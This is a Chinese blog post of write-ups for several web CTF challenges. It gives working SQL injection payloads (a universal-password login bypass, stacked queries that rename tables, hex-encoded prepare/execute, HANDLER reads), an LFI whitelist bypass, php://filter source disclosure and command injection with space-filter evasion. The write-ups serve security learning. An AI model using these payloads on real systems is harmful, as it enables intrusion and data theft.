&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235825.png&quot; alt=&quot;image-20240121204236087&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;一、找到页面与数据库产生交互的地方&lt;/p&gt;
&lt;p&gt;二、判断数字类型（字符型）&lt;/p&gt;
&lt;p&gt;三、使用字符型万能密码 &lt;strong&gt;a&apos; or true #&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2、[极客大挑战 2019]Havefun&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/qq_45766004/article/details/114930782&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235826.png&quot; alt=&quot;image-20240121204554281&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;查看源代码&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235827.png&quot; alt=&quot;image-20240121204540940&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;代码审计&lt;/p&gt;
&lt;p&gt;在url上跟着 &lt;strong&gt;/?cat=dog&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3、[HCTF 2018]WarmUp&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/xhy18634297976/article/details/119494505&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235828.png&quot; alt=&quot;image-20240121204916928&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;什么都没有，老规矩代码审计，查看源代码&lt;/p&gt;
&lt;p&gt;可以发现有注释有source.php，进行访问可以看见&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
highlight_file(__FILE__);
class emmm
{
    //$page前面加&amp;amp;代表引用，这里是引用传递
    public static function checkFile(&amp;amp;$page)
    {
        //定义whitelist数组
        $whitelist = [&quot;source&quot;=&amp;gt;&quot;source.php&quot;,&quot;hint&quot;=&amp;gt;&quot;hint.php&quot;];

        //如果page变量未声明或为null，或者不是字符串，则进入if
        if (! isset($page) || !is_string($page)) {
            echo &quot;you can&apos;t see it&quot;;
            return false;
        }
        //如果page的值在$whitelist数组里则进入if
        if (in_array($page, $whitelist)) {
            return true;
        }

        //截取从0到？首次出现的位置的字符串
        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . &apos;?&apos;, &apos;?&apos;) //点在php中用来连接两个字符串或变量，此代码意思为拼接page和？的值，并返回？字符首次出现的位置
        );

        //如果_page的值在$whitelist数组里则进入if
        if (in_array($_page, $whitelist)) {
            return true;
        }
        //对page解码
        $_page = urldecode($page);

        //截取从0到？首次出现的位置的字符串
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . &apos;?&apos;, &apos;?&apos;)
        );
        //如果_page的值在$whitelist数组里则进入if
        if (in_array($_page, $whitelist)) {
            return true;
        }
        echo &quot;you can&apos;t see it&quot;;
        return false;
    }
}
//如果file变量为空 且 是字符串  且 通过checkFile 校验，则进入if

if (! empty($_REQUEST[&apos;file&apos;])
    &amp;amp;&amp;amp; is_string($_REQUEST[&apos;file&apos;])
    &amp;amp;&amp;amp; emmm::checkFile($_REQUEST[&apos;file&apos;])
) {
    include $_REQUEST[&apos;file&apos;];
    exit;
} else {
    echo &quot;&amp;lt;br&amp;gt;&amp;lt;img src=\&quot;https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\&quot; /&amp;gt;&quot;;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还有一个hint.php&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235829.png&quot; alt=&quot;image-20240121205651491&quot; /&gt;&lt;/p&gt;
&lt;p&gt;​	读懂了emmm类的代码后，我们需要构造file的值。本地文件包含漏洞的格式一般是file=../../../.../xxx，其中../的个数不固定，xxx为flag文件名，那么这个xxx具体是什么呢？我们尝试访问一下hint.php，发现提示：flag not here, and flag in  ffffllllaaaagggg，可以猜测到服务器存放flag的文件名可能为ffffllllaaaagggg，我们可以构造的file=../ffffllllaaaagggg，将其带入checkFile中看一下是否可以返回true。&lt;/p&gt;
&lt;p&gt;因此答案为 &lt;strong&gt;/index.php?file=hint.php?../../../../../ffffllllaaaagggg&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;知识详解&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一：php常见函数&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;isset：检测变量是否已声明并且其值不为 null&lt;/li&gt;
&lt;li&gt;in_array：检查数组中是否存在某个值，第一个参数为待搜索的值，第二个参数为要搜索的数组&lt;/li&gt;
&lt;li&gt;is_string：检测变量是否是字符串&lt;/li&gt;
&lt;li&gt;empty：检查一个变量是否为空&lt;/li&gt;
&lt;li&gt;：_REQUEST可以获取以POST方法和GET方法提交的数据&lt;/li&gt;
&lt;li&gt;mb_strcut() ：根据 start 和 length 参数返回 str 的一部分&lt;/li&gt;
&lt;li&gt;mb_strpos()：查找字符串在另一个字符串中首次出现的位置&lt;/li&gt;
&lt;li&gt;urldecode()： 解码已编码的 URL 字符串&lt;/li&gt;
&lt;li&gt;include()：包含并运行指定文件&lt;/li&gt;
&lt;li&gt;include_once() ：include_once 表达式和 include 表达式完全相同，唯一区别是 PHP 会检查该文件是否已经被包含过，如果是则不会再次包含&lt;/li&gt;
&lt;li&gt;require() ：require 和 include 几乎完全一样，除了处理失败的方式不同之外。require 在出错时脚本会中止，而include会继续运行。&lt;/li&gt;
&lt;li&gt;require_once()：require_once 表达式和 require 表达式完全相同，唯一区别是 PHP 会检查该文件是否已经被包含过，如果是则不会再次包含。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;二：文件包含漏洞&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;文件包含漏洞&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;漏洞原因：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;php代码中使用了文件包含函数&lt;/li&gt;
&lt;li&gt;文件包含函数参数可以自定义且没有经过过滤&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;漏洞分类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本地文件包含漏洞（LFI）：指包含本地服务器中的文件&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ul&gt;
&lt;li&gt;格式：&lt;code&gt;?file=../../../xxxx&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;远程文件包含漏洞（RFI）：指包含远程服务器中的文件&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ul&gt;
&lt;li&gt;php.ini中的allow_url_fopen = On和 allow_url_include = On 时，才可以利用该漏洞&lt;/li&gt;
&lt;li&gt;格式：&lt;code&gt;?file=http://xxxx.xxx/xxxx&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;php中引发文件包含漏洞的通常是以下四个函数：&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ul&gt;
&lt;li&gt;include()：包含并运行指定文件&lt;/li&gt;
&lt;li&gt;include_once() ：include_once 表达式和 include 表达式完全相同，唯一区别是 PHP 会检查该文件是否已经被包含过，如果是则不会再次包含&lt;/li&gt;
&lt;li&gt;require() ：require 和 include 几乎完全一样，除了处理失败的方式不同之外。require 在出错时脚本会中止，而include会继续运行。&lt;/li&gt;
&lt;li&gt;require_once()：require_once 表达式和 require 表达式完全相同，唯一区别是 PHP 会检查该文件是否已经被包含过，如果是则不会再次包含。&lt;/li&gt;
&lt;li&gt;当利用这四个函数来包含文件时，不管文件是什么类型（图片、txt等等），都会直接作为php文件进行解析。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4、[ACTF2020 新生赛]Include&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/weixin_45642610/article/details/112427044&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235830.png&quot; alt=&quot;image-20240122194843190&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看源码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235831.png&quot; alt=&quot;image-20240122195043341&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到?file=flag.php 猜测文件包含漏洞&lt;/p&gt;
&lt;p&gt;知识点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php://filter与包含函数结合时，php://filter流会被当作php文件执行。
所以我们一般对其进行编码，阻止其不执行。从而导致任意文件读取。

php://filter 伪协议文件包含读取源代码，加上read=convert.base64-encode，
用base64编码输出，不然会直接当做php代码执行，看不到源代码内容。

php://input 伪协议 + POST发送PHP代码 （不行）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接构造payload&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;?file=php://filter/convert.base64-encode/resource=flag.php&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这里的过滤器是把文件&lt;code&gt;flag.php&lt;/code&gt;里的代码转换（convert）为base64编码（encode）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235833.png&quot; alt=&quot;image-20240122195236912&quot; /&gt;&lt;/p&gt;
&lt;p&gt;base64解码&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235834.png&quot; alt=&quot;image-20240122195344508&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以发现flag是被注释的，所以我们先编码后解码才能得到完整的源码&lt;/p&gt;
&lt;p&gt;得到flag&lt;/p&gt;
&lt;h3&gt;5、[ACTF2020 新生赛]Exec&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/qq_51553814/article/details/119297562&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235835.png&quot; alt=&quot;image-20240122200007062&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;这一看典型的RCE漏洞&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235836.png&quot; alt=&quot;image-20240122200625274&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;并且没有过滤分号和ls&lt;/p&gt;
&lt;p&gt;接着我们就&lt;a href=&quot;https://so.csdn.net/so/search?q=%E9%81%8D%E5%8E%86&amp;amp;spm=1001.2101.3001.7020&quot;&gt;遍历&lt;/a&gt;目录了,通过cd …/达到访问上一个目录的目的，再通过ls 达到查看该目录有哪些文件&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235837.png&quot; alt=&quot;image-20240122201303126&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以看到查看上三级目录后出现了flag这个文件，接着查看flag就行了&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235838.png&quot; alt=&quot;image-20240122201348833&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;6、[GXYCTF2019]Ping Ping Ping&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/qq_51439282/article/details/113378868&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235839.png&quot; alt=&quot;image-20240122201637382&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;根据提示开ping并ls开始查看当前目录&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235840.png&quot; alt=&quot;image-20240122202850442&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;如果查看flag.php会发现flag这个词应该被过滤了&lt;/p&gt;
&lt;p&gt;先查看index.php看一下设置什么限制，这里有空格限制，所以我先用$IFS$9绕过(空格绕过：%09，%20，$IFS$9,&amp;lt;&amp;gt;,${IFS},花括号{}，但是这里也就$IFS$9可行)&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235841.png&quot; alt=&quot;image-20240122203037179&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以发现它禁用了很多符号，这里我们采用内联执行的方式&lt;/p&gt;
&lt;p&gt;所谓内联，就是将反引号内命令的输出作为输入执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\?ip=127.0.0.1;cat$IFS$9`ls`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个命令的意思就是先执行ls得到flag.php和index.php并且cat查看这两个文件的内容，把ls的输出当成cat的输入来看(注意此时看到的页面会隐藏flag的相关内容，需要ctrl+u或者F12查看网页源代码才能发现隐藏的flag)&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235842.png&quot; alt=&quot;image-20240122204717053&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;7、[强网杯 2019]随便注&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/m0_73734159/article/details/134049744&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一步：先判断注入点的传参方式，发现是get传参&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二步：判断闭合方式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;先输入 1&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235843.png&quot; alt=&quot;image-20240123182318956&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;然后再尝试输入 1&apos;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235844.png&quot; alt=&quot;image-20240123182717233&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;说明了两点：本题的闭合方式确实是 &apos; 闭合，同时我们确定在本题我们是有可能是能使用&lt;code&gt;报错注入&lt;/code&gt;的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos; and 1=1 -- + (在这个框里面的要-- +中间加一个空格在url上就不用)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235845.png&quot; alt=&quot;image-20240123183416535&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos; and 1=2 -- + 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235846.png&quot; alt=&quot;image-20240123183449752&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;说明闭合方式为&lt;code&gt;单引号&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果输入 1&quot; and 1=1 -- + 和 1&quot; and 1=2 -- + 两次的回显结果一样，说明闭合方式不是 双引号 其他同理&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;第三步：判断是否有关键字过滤&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;先直接输入： select 查看回显，发现&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235847.png&quot; alt=&quot;image-20240123183721322&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;发现本题过滤关键字：&lt;code&gt;/select|update|delete|drop|insert|where|\.&lt;/code&gt;而且不区分大小写。&lt;/p&gt;
&lt;p&gt;坏了，select一被禁用，&lt;a href=&quot;https://so.csdn.net/so/search?q=%E8%81%94%E5%90%88%E6%9F%A5%E8%AF%A2&amp;amp;spm=1001.2101.3001.7020&quot;&gt;联合查询&lt;/a&gt;，报错注入，布尔,时间盲注就都不可以使用了。我们只剩下了 堆叠注入。&lt;/p&gt;
&lt;p&gt;先尝试使用堆叠注入：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;查看所有数据库&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos;;show database -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235848.png&quot; alt=&quot;image-20240123184004554&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以发现什么都没显示，但是可以确定一点可以使用堆叠注入&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;查看所有数据表&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos;;show tables -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235849.png&quot; alt=&quot;image-20240123185335360&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;爆words数据表的字段&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos;;show columns from `words` -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235850.png&quot; alt=&quot;image-20240123185732691&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;这里没有flag&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;爆1919810931114514数据表的字段&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos;;show columns from `1919810931114514` -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235851.png&quot; alt=&quot;image-20240123185846690&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;发现flag&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;关于在这里使用 ` 而不是 &apos; 的一些解释：&lt;/p&gt;
&lt;p&gt;两者在linux下和windows下不同，linux下不区分，windows下区分。&lt;/p&gt;
&lt;p&gt;单引号 &apos; 或 双引号 &quot; 主要用于字符串的引用符号&lt;/p&gt;
&lt;p&gt;反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注：Esc下面的键)&lt;/p&gt;
&lt;p&gt;有MYSQL保留字作为字段的，必须加上反引号来区分！！！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;方法一：改表名查询&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;可以看到这两个表words表有两个字段，而另一个只有一个字段&lt;/p&gt;
&lt;p&gt;后台SQL查询语句应该是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select * from words where id=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以说只能先查询id字段，然而另一个表只有一个flag字段是肯定爆不了flag的，并且类型为varchar字符串类型，而恰巧words数据表里面的data也是varchar类型，因此从这里就可以得到做题思路，通过rename函数进行改表，把1919810931114514改为words，增加新字段id，将flag改为data，将刚开始那个words表改为其他任意表。&lt;/p&gt;
&lt;p&gt;构造payload：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos;;rename table words to BaiMao;rename table `1919810931114514` to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100) -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;rename修改表名

alter修改已知的列

add增加

int整数类型

unsigned无符号类型

not null- 指示某列不能存储 NULL 值。

primary key - NOT NULL 和 UNIQUE 的结合。指定主键，确保某列（或多个列的结合）有唯一标识，每个表有且只有一个主键。

auto_increment-自动赋值，默认从1开始。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235852.png&quot; alt=&quot;image-20240123190853370&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;注意此时没有回显flag，就类似于你更新了个东西但是没刷新，重新在文本框里面输入1提交即可回显flag。&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235853.png&quot; alt=&quot;image-20240123190939867&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;成功回显flag&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;方法二：编码逃逸 绕过滤&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由于&lt;code&gt;select&lt;/code&gt;被过滤，考虑使用编码进行绕过
使用select查询就很简单了
构造payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select * from where `1919810931114514`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;*号查询数据表里面的全部内容，这就是爆出flag的原理
进行&lt;code&gt;16进制编码加密&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;73656c656374202a2066726f6d20603139313938313039333131313435313460
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终payload：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos;;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;prepare...from...是预处理语句，会进行编码转换。

execute用来执行由SQLPrepare创建的SQL语句。

SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

0x就是把后面的编码格式转换成16进制编码格式。

那么总体理解就是，使用SeT方法给变量a赋值，给a变量赋的值就是select查询1919810931114514表的所有内容语句编码后的值，execsql方法执行来自a变量的值，prepare...from...方法将执行后的编码变换成字符串格式，execute方法调用并执行execsql方法。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成果回显flag&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235854.png&quot; alt=&quot;image-20240123191916803&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;方法三：handler代替select&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;select命令被过滤了怎么办？&lt;/p&gt;
&lt;p&gt;我们还可以用handler命令进行查看，handler命令可以一行一行的显示数据表中的内容。&lt;/p&gt;
&lt;p&gt;构造payload：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&apos;;handler `1919810931114514` open as `a`;handler `a` read next -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;handler代替select，以一行一行显示内容

open打开表

as更改表的别名为a

read next读取数据文件内的数据次数
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上传payload，回显flag：&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235855.png&quot; alt=&quot;image-20240123192231918&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;8、[SUCTF 2019]EasySQL&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/qq_46918279/article/details/120188186&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;分析：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;先尝试输入&lt;/p&gt;
&lt;p&gt;输入非0数字的时候会有一个回显&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235856.png&quot; alt=&quot;image-20240123205526023&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入大小写字母的时候没有回显&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235857.png&quot; alt=&quot;image-20240123210601484&quot; /&gt;&lt;/p&gt;
&lt;p&gt;判断是什么闭合 ：输入1#能输出，而输入 1&apos; 和1&apos;#没有输出，&quot;被过滤掉,大致上可以按照数字型进行猜测。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235858.png&quot; alt=&quot;image-20240123210908490&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入特殊字符也没有报错回显，所以报错注入基本上没戏了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235859.png&quot; alt=&quot;image-20240123210954006&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入很多关于&lt;a href=&quot;https://so.csdn.net/so/search?q=sql%E8%AF%AD%E5%8F%A5&amp;amp;spm=1001.2101.3001.7020&quot;&gt;sql语句&lt;/a&gt;的东西(and,or,union,if,order from)都会显示Nonono，所以联合查询也没戏&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235860.png&quot; alt=&quot;image-20240123211059117&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235861.png&quot; alt=&quot;image-20240123211031373&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再尝试时间盲注 ,sleep也被ban了，时间盲注也不行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235862.png&quot; alt=&quot;image-20240123211137118&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再尝试布尔盲注,因为if、and也被ban，所以布尔盲注也基本上没戏&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1 and length(database())&amp;gt;=1 -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235863.png&quot; alt=&quot;image-20240123211621857&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后看看堆叠注入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1;show tables -- +

1;show databases -- +
 
#因为from被ban了，所以无法使用show columns from 表名
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235864.png&quot; alt=&quot;image-20240123211744042&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235865.png&quot; alt=&quot;image-20240123211950528&quot; /&gt;&lt;/p&gt;
&lt;p&gt;堆叠能够使用，但是因为过滤了from，handler（类似于select），所以能够查找的信息也很有限&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235866.png&quot; alt=&quot;image-20240123213042096&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235867.png&quot; alt=&quot;image-20240123213108901&quot; /&gt;&lt;/p&gt;
&lt;p&gt;至此sql注入绝大部分方法都不行了&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;知识点：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;我们知道默认情况下在MySQL中 || 运算符是逻辑或运算符（即or），但取决于PIPES_AS_CONCAT SQL模式。如果启用了set sql_mode=pipes_as_concat模式，则 || 运算符用作字符串连接，这和Oracle数据库是一样的，即用作CONCAT()函数的同义词。
插入：concat可以连接多个字符串如concat(&apos;id&apos;,&apos;name&apos;,&apos;,&apos;user&apos;)等。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;例子：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235868.png&quot; alt=&quot;image-20240123215011014&quot; style=&quot;zoom: 33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235869.png&quot; alt=&quot;image-20240123214929862&quot; style=&quot;zoom: 33%;&quot; /&amp;gt;&lt;/p&gt;
